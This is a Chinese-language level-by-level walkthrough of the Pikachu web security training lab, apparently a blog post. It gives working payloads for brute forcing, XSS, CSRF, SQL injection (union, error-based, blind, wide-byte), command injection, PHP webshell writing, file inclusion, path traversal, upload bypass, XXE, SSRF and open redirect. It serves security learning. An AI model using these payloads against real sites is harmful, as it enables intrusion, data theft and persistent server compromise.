当前位置: 首页 > news >正文

Pikachu 通关攻略

Pikachu 通关攻略— 一网打尽所有漏洞类型

Pikachu 是 Web 安全入门必刷的靶场,涵盖暴力破解、XSS、CSRF、SQL 注入、RCE、文件包含、文件上传、越权、SSRF 等十几类漏洞。这份通关秘籍把每一关的完整 Payload 和解题思路都整理好了,跟着走就能全通。


零、Pikachu 安装

修改配置

编辑inc/config.inc.php

define('DBHOST','127.0.0.1');define('DBUSER','root');define('DBPW','root');// 改成你的 MySQL 密码define('DBNAME','pikachu');define('DBPORT','3306');

初始化

访问http://localhost/pikachu/install.php完成安装。


一、暴力破解

1.1 基于表单的暴力破解

题目:http://localhost/pika/vul/burteforce/bf_form.php

不知道账号密码,用 Burp Suite Intruder 爆破:

  1. BP 拦截登录请求 → Send to Intruder
  2. Attack type:Cluster bomb
  3. Payload 1: 账号字典(admin, test, user…)
  4. Payload 2: 密码字典(123456, admin, password…)
  5. Start Attack → 找响应长度不同的那条

1.2 验证码绕过(on server)

题目:http://localhost/pika/vul/burteforce/bf_server.php

服务端验证码一直有效(不刷新),解题方式和 1.1 一样,BP 破解时手动输入当前验证码即可


1.3 验证码绕过(on client)

题目:http://localhost/pika/vul/burteforce/bf_client.php

前端 JS 验证,直接忽略。BP 抓包直接发 → 不需要验证码就能爆破。


1.4 Token 防爆破?

题目:token 每次请求都会变,但服务器会在响应中返回当前有效的 token

BP Intruder 配置:

  1. Attack type:Pitchfork
  2. Payload 1: 密码字典
  3. Payload 2: 选择Recursive Grep,从响应中提取 token
  4. 线程池设为1(token 必须一一对应)
  5. Start Attack

二、XSS(跨站脚本攻击)

2.1 反射型 XSS(GET)

题目:http://localhost/pika/vul/xss/xss_reflected_get.php

输入框限制长度 → F12 修改maxlength属性:

<script>alert(1)</script>

2.2 反射型 XSS(POST)

题目:admin/123456登录后提交。

要求弹出 Cookie:

<script>alert(document.cookie)</script>

PHP 7.2 版本测试成功,5.x 版本可能 httponly。


2.3 存储型 XSS

题目:http://localhost/pika/vul/xss/xss_stored.php

在留言框输入后提交,每次访问页面都会触发:

<script>alert(1)</script>

2.4 DOM 型 XSS

题目:http://localhost/pika/vul/xss/xss_dom.php

输入的数据会带入 href,用伪协议:

javascript:alert(1)

2.5 DOM 型 XSS-X

题目:http://localhost/pika/vul/xss/xss_dom_x.php?text=asd#

点击一次没反应,再点一次触发。Payload:

javascript:alert(1)

2.6 XSS 之盲打

题目:http://localhost/pika/vul/xss/xssblind/xss_blind.php

前台输入没效果,但管理员后台会看到。属于存储型 XSS:

<script>alert(1)</script>

管理员登录admin_login.php→ 触发弹窗。


2.7 XSS 之过滤

题目:http://localhost/pika/vul/xss/xss_01.php

过滤了<script>标签。大小写混写绕过:

<sCRIPT>alert(1)</scRipt><SCRIPT>alert(1)</SCRIPT>

2.8 XSS 之 htmlspecialchars

题目:htmlspecialchars()把预定义字符转 HTML 实体。

默认配置不会过滤单引号。需要利用单引号闭合 + 事件触发。


2.9 XSS 之 href 输出

题目:http://localhost/pika/vul/xss/xss_03.php

javascript:alert(1)

2.10 XSS 之 js 输出

题目:http://localhost/pika/vul/xss/xss_04.php

注意前面有个<script>标签,输入会被直接拼入 JS 代码中:

';alert(1)</script>

关闭前一个',分号结束语句,alert 执行,</script>闭合标签。


三、CSRF(跨站请求伪造)

3.1 CSRF(GET)

题目:http://localhost/pika/vul/csrf/csrfget/csrf_get_login.php

allen/boy登录 → 修改个人信息 → 复制修改信息的 GET URL → 构造恶意页面诱导受害者点击。


3.2 CSRF(POST)

题目:http://localhost/pika/vul/csrf/csrfpost/csrf_post.php

由 GET 改成 POST,方式一样。用 Burp Suite 生成 CSRF PoC → 保存为 HTML → 诱导点击。


3.3 CSRF Token

演示「加 Token」怎么防范 CSRF 攻击,无实际漏洞利用。


四、SQL 注入

4.1 数字型注入(POST)

题目:http://localhost/pika/vul/sqli/sqli_id.php

id=-1orderby2id=-1unionselect1,2id=-1unionselectdatabase(),version()id=-1unionselectgroup_concat(table_name),2frominformation_schema.tableswheretable_schema='pikachu'id=-1unionselectgroup_concat(column_name),2frominformation_schema.columnswheretable_schema='pikachu'andtable_name='users'id=-1unionselectgroup_concat(username),group_concat(password)fromusers

4.2 字符类型注入(GET)

题目:http://localhost/pika/vul/sqli/sqli_str.php

和 4.1 一样,只是参数带引号闭合。


4.3 搜索型注入

题目:http://localhost/pika/vul/sqli/sqli_search.php

?name=1' order by 2 --+&submit=查询 ?name=1'unionselectdatabase(),version()--+&submit=查询?name=1' union select group_concat(table_name),2 from information_schema.tables where table_schema='pikachu' --+&submit=查询 ?name=1'unionselectgroup_concat(column_name),2frominformation_schema.columnswheretable_schema='pikachu'andtable_name='users'--+&submit=查询?name=1'unionselectgroup_concat(username),group_concat(password)fromusers--+&submit=查询

4.4 xx 型注入

题目:http://localhost/pika/vul/sqli/sqli_x.php

随便输入'发现报错中有)→ 参数被括号包裹。用')闭合:

?name=1') order by 3 --+&submit=查询 ?name=1')unionselect1,database(),version()--+&submit=查询?name=1') union select group_concat(table_name),2,3 from information_schema.tables where table_schema='pikachu' --+&submit=查询 ?name=1')unionselectgroup_concat(column_name),2,3frominformation_schema.columnswheretable_schema='pikachu'andtable_name='users'--+&submit=查询?name=1')unionselectgroup_concat(username),group_concat(password),3fromusers--+&submit=查询

4.5 insert/update 注入

题目:http://localhost/pika/vul/sqli/sqli_iu/sqli_reg.php

注册成功但无回显 →报错注入

' and extractvalue(1,concat(0x7e,(database()))) and '1'='1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='pikachu'))) and '1'='1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='pikachu' and table_name='users'))) and '1'='1' and extractvalue(1,concat(0x7e,(select concat(username,'-',password) from users limit 0,1))) and '1'='1

4.6 delete 注入

题目:http://localhost/pika/vul/sqli/sqli_del.php

和 4.5 一样用报错注入,GET 方式提交:

?id=1andextractvalue(1,concat(0x7e,(database())))?id=1andextractvalue(1,concat(0x7e,(selectgroup_concat(table_name)frominformation_schema.tableswheretable_schema='pikachu')))?id=1andextractvalue(1,concat(0x7e,(selectgroup_concat(column_name)frominformation_schema.columnswheretable_schema='pikachu'andtable_name='users')))?id=1andextractvalue(1,concat(0x7e,(selectconcat(username,'-',password)fromuserslimit0,1)))

4.7 HTTP Header 注入

题目:http://localhost/pika/vul/sqli/sqli_header/sqli_header.php

和 insert 注入一样,报错注入即可。


4.8 Boolean 盲注

题目:http://localhost/pika/vul/sqli/sqli_blind_b.php

虽然叫盲注,但也可以用 union 直接拿。真正的布尔盲注解法:

# 判断数据库名长度?name=lucy' and length(database())<10 --+&submit=查询 ?name=lucy'andlength(database())=7--+&submit=查询# 逐字猜数据库名 → pikachu?name=lucy' and ascii(substr(database(),1,1))=112 --+&submit=查询 # p ?name=lucy'andascii(substr(database(),2,1))=105--+&submit=查询 # i?name=lucy' and ascii(substr(database(),3,1))=107 --+&submit=查询 # k ?name=lucy'andascii(substr(database(),4,1))=97--+&submit=查询 # a?name=lucy' and ascii(substr(database(),5,1))=99 --+&submit=查询 # c ?name=lucy'andascii(substr(database(),6,1))=104--+&submit=查询 # h?name=lucy'andascii(substr(database(),7,1))=117--+&submit=查询 # u

4.9 延时盲注

题目:http://localhost/pika/vul/sqli/sqli_blind_t.php

# 判断长度 → 睡了 = 正确?name=lucy' and if(length(database())<10,sleep(5),1) --+&submit=查询 ?name=lucy'andif(length(database())=7,sleep(5),1)--+&submit=查询# 逐字猜 → pikachu?name=lucy'andif(ascii(substr(database(),1,1))=112,sleep(5),1)--+&submit=查询 # p

SQLMap 一把梭:

sqlmap-u'http://192.168.244.1/pika/vul/sqli/sqli_blind_t.php?name=1&submit=查询'-pname --current-db

4.10 宽字节注入

背景:PHP 用addslashes()'转义为\'(即%5c%27)。但如果数据库编码为GBK%df%5c恰好组成一个汉字「運」,把转义符\吃掉了,单引号逃逸成功。

name=1%df' union select version(),database() --+&submit=查询 name=1%df'unionselect1,group_concat(table_name)frominformation_schema.tableswheretable_schema=database()--+&submit=查询name=1%df' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273 --+&submit=查询 name=1%df'unionselectgroup_concat(username),group_concat(password)frompikachu.users--+&submit=查询

%df是 GBK 编码范围内的字节,与%5c\)组成双字节汉字,导致\失效。


五、RCE(远程代码/命令执行)

5.1 exec “ping”

题目:http://localhost/pika/vul/rce/rce_ping.php

127.0.0.1|whoami

5.2 exec “eval”

题目:http://localhost/pika/vul/rce/rce_eval.php

echohello;phpinfo();fputs(fopen('shell.php','w'),'<?php assert($_POST[123]);?>');

写入shell.php→ 蚁剑连接:密码123


六、文件包含

6.1 本地文件包含

题目:http://localhost/pika/vul/fileinclude/fi_local.php

?filename=file6.php&submit=提交

6.2 远程文件包含

题目:http://localhost/pika/vul/fileinclude/fi_remote.php

先在 WWW 根目录放好webshell.txt

<?phpfputs(fopen('shell.php','w'),'<?php @eval($_POST[123]);?>');?>

访问:

?filename=http://127.0.0.1/webshell.txt&submit=提交

伪协议读源码:

?filename=php://filter/read=convert.base64-encode/resource=fi_remote.php&submit=提交

七、文件下载

题目:http://localhost/pika/vul/unsafedownload/down_nba.php

下载地址:vul/unsafedownload/execdownload.php?filename=smallane.png

路径遍历读取配置文件:

http://localhost/pika/vul/unsafedownload/execdownload.php?filename=../../../inc/config.inc.php

八、文件上传

8.1 客户端检查

题目:http://localhost/pika/vul/unsafeupload/clientcheck.php

前端 JS 验证 → 改后缀为.jpg上传 → BP 拦截改回.php

<?phpphpinfo();?>

8.2 服务端检查

题目:http://localhost/pika/vul/unsafeupload/servercheck.php

和 8.1 一样,但注意需要同时改Content-Typeimage/jpeg

8.3 getimagesize()

题目:http://localhost/pika/vul/unsafeupload/getimagesize.php

制作图片马:

copy info.png /b + info.php /a webshell.png

上传后配合文件包含触发:

http://localhost/pika/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/2023/12/05/xxxxxx.png&submit=提交

九、越权漏洞

9.1 水平越权

题目:kobe/123456 登录 → 改 URL 中username=kobeusername=lili

http://localhost/pika/vul/overpermission/op1/op1_mem.php?username=lili&submit=点击查看个人信息

看到 lili 的个人信息!

9.2 垂直越权

题目:pikachu/000000 普通用户登录 → 直接访问管理员页面:

http://localhost/pika/vul/overpermission/op2/op2_admin_edit.php

新增用户成功!原因:op2_admin_edit.php没有权限判断。


十、目录遍历

题目:http://localhost/pika/vul/dir/dir_list.php

本质是文件包含 + 目录遍历:

http://localhost/pika/vul/dir/dir_list.php?title=../../unsafeupload/uploads/info.php

十一、敏感信息泄露

题目:http://localhost/pika/vul/infoleak/findabc.php

查看页面源码 → 找隐藏信息。


十二、PHP 反序列化

题目:http://localhost/pika/vul/unserilization/unser.php

<?phpclassS{var$test="<script>alert('xss')</script>";}$s=newS();echoserialize($s);// 输出:O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}?>

十三、XXE

题目:http://localhost/pika/vul/xxe/xxe_1.php

准备1.txt(内容随意),构造 XXE Payload:

<?xml version = "1.0"?><!DOCTYPEANY[<!ENTITY xxe SYSTEM "file:///C://Users//86188//Desktop//tool//1.txt">]><foo>&xxe;</foo>

十四、URL 重定向

题目:http://localhost/pika/vul/urlredirect/urlredirect.php

http://localhost/pika/vul/urlredirect/urlredirect.php?url=http://baidu.com

配合短链接(https://tool.chinaz.com/tools/dwz.aspx)实现钓鱼。


十五、SSRF

13.1 SSRF(curl)

题目:http://localhost/pika/vul/ssrf/ssrf_curl.php

读取文件:

http://localhost/pika/vul/ssrf/ssrf_curl.php?url=file:///C://Users//86188//Desktop//tool//1.txt

端口探测:

http://localhost/pika/vul/ssrf/ssrf_curl.php?url=dict://127.0.0.1:3306

13.2 SSRF(file_get_content)

题目:http://localhost/pika/vul/ssrf/ssrf_fgc.php

读取文件:

http://localhost/pika/vul/ssrf/ssrf_fgc.php?file=file:///C://Users//86188//Desktop//tool//1.txt

伪协议读源码:

http://localhost/pika/vul/ssrf/ssrf_fgc.php?file=php://filter/read=convert.base64-encode/resource=ssrf_fgc.php

全关卡通关联照表

分类关卡数核心 Payload 关键词
暴力破解4 关Cluster bomb / Recursive Grep / Token
XSS10 关<script>/javascript:/ 大小写 / 闭合
CSRF3 关PoC 生成 / GET 改 POST
SQL 注入10 关union / extractvalue / sleep / %df 宽字节
RCE2 关| whoami/ eval + fputs 写马
文件包含2 关php://filter/ 远程 http 包含
文件下载1 关../../../路径遍历
文件上传3 关后缀绕过 / Content-Type / 图片马
越权2 关改 URL 参数 / 直接访问未授权页面
目录遍历1 关../../
敏感信息1 关源码查看
反序列化1 关serialize / unserialize
XXE1 关<!ENTITY xxe SYSTEM "file:///...">
URL 重定向1 关?url=参数
SSRF2 关file:///dict:///php://filter

写在最后:Pikachu 靶场覆盖了 Web 安全中几乎所有的经典漏洞类型。这份通关攻略不仅能帮你刷完全关,还能作为日常写 Payload 时的速查手册。通关不是终点,把每种漏洞的原理吃透才是目的。

http://www.jsqmd.com/news/1370620/

相关文章:

  • 深度图与视差图伪彩色可视化:原理、OpenCV实现与性能优化
  • 县域外卖商家管理源码开发功能拆解
  • NLP 模型评测与多任务性能对比:延迟和成本怎么一起看
  • ROS2测试版功能包清单获取与风险评估实战指南
  • AI算力服务 助力企业构建高效稳定的智能计算平台
  • CAD AI助手实战:用自然语言驱动AutoCAD/中望CAD绘图与自动化
  • Transformer位置编码:从正弦函数到RoPE,让模型理解序列顺序
  • 滑动窗口与动态规划:解决无重复子串与股票收益问题
  • PCB测试机如何决定电路板良率?产线升级的关键一问
  • 河北小型纸箱厂设备公司怎么选及本地服务参考 东光县鑫宇纸箱机械制造有限公司(河北服务中心) - 品牌优推
  • Unity NavMesh导航系统:从核心原理到高级优化实战指南
  • AI治理:从政策到实践,技术手段如何确保AI安全可控
  • UE5 StateTree入门:从零构建AI巡逻系统,告别行为树繁琐配置
  • Flutter+OpenHarmony构建高校资产管理系统实践
  • 海南落地 36 项低空基建,海岛无人机维保网点该如何布局
  • 2026年东莞广告挂绳供应厂家实力解析:展会吊绳/证件挂绳/促销挂绳源头工厂怎么选 - 优企名品
  • 动态规划结合单调队列优化解决补给站最小花费问题
  • 太原专业饭店公装公司推荐|餐饮门店装修设计施工
  • Redis核心特性与生产环境实践指南
  • 从文档存储到研发知识链路:Gitee Wiki 如何嵌入 DevSecOps 流程
  • Paddle-Agent开源框架:构建企业级AI智能体的全流程实践指南
  • 微信小程序双人协作厨房系统设计与实现
  • React自定义Hook设计原则与实战指南
  • Linux系统调用与futex机制深度解析
  • 论文降AI率失败原因与有效解决方案
  • AI工具Paperxie如何提升论文写作效率与质量
  • 现代网络安全三维防御体系构建与实践
  • AI模型数据隐私风险剖析:从Gemini事件看云端服务数据安全防护
  • 海外代理IP:数据抓取中代理IP的作用及应用技巧
  • CAD图形编辑核心:深入解析打断与合并命令的原理与应用